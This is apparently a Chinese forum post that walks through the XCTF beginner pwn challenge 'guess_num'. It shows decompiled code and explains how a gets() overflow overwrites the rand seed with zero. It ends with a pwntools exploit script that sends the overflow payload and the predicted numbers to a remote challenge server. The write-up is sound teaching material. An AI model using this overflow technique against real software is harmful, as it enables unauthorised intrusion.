首页
社区
课程
招聘
[原创]攻防世界PWN新手区:guess_num
2022-4-4 14:14 10604

[原创]攻防世界PWN新手区:guess_num

2022-4-4 14:14
10604

一、基础信息探查:

常规流程:file、checksec和运行程序
64位elf文件,开了金丝雀,NX,PIE保护

二、逆向分析:

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch] BYREF
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7[32]; // [rsp+10h] [rbp-30h] BYREF
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]
 
  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(v7);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

分析主函数代码可以发现如果要返回success就需要输入正确的number(也就是v4变量),而v4变量有是rand函数生成的伪随机数,这是无法预测的除非能知道它的随机数种子,跟踪生成随机数的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 sub_BB0()
{
  int fd; // [rsp+Ch] [rbp-14h]
  __int64 buf[2]; // [rsp+10h] [rbp-10h] BYREF
 
  buf[1] = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || (int)read(fd, buf, 8uLL) < 0 )
    exit(1);
  if ( fd > 0 )
    close(fd);
  return buf[0];
}

这个函数从头看到尾都没有看到哪里是可以注入的地方。这里其实是我的思路错了。因为回到主函数可以看到有一个危险函数gets,双击查看它的栈情况:

var_30处为v7的存放地址,seed就是随机数种子的存放地址。

 

注意到这里就好办了,v7和种子数在栈中是连在一起的,我们可以直接通过gets溢出,修改随机数种子的值,从而指定rand的生成值。

 

这里的种子数直接溢出为0,先写个c程序将随机数的种子为0时rand的生成情况:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<stdlib.h>
int main()
{
    int r;
    srand(0);
    for(int i = 0; i <= 9; ++i){
        r = rand() % 6 + 1;
        printf("%d ",r);
    }
    return 0;
}

1
2,5,4,2,6,2,5,1,4,2

三、shellcode编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context(os='linux',arch='amd64',log_level="debug")    #arch的参数为:'x86'、'amd64'
content = 0
 
def main():
    if content == 1:
        sh = process("guess_num")                    #打本地
    else:
        sh = remote("111.200.241.244",53920)      #打远程
 
    rand = [2,5,4,2,6,2,5,1,4,2]
 
    payload = b'A' * 32 + p64(0)   # 直接将随机值设为0
 
    sh.sendlineafter("Your name:\n",payload)
 
    for i in range(10):
        sh.sendlineafter("Please input your guess number:\n",rand[i])
    sh.interactive()
 
if __name__ == '__main__':
    main()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回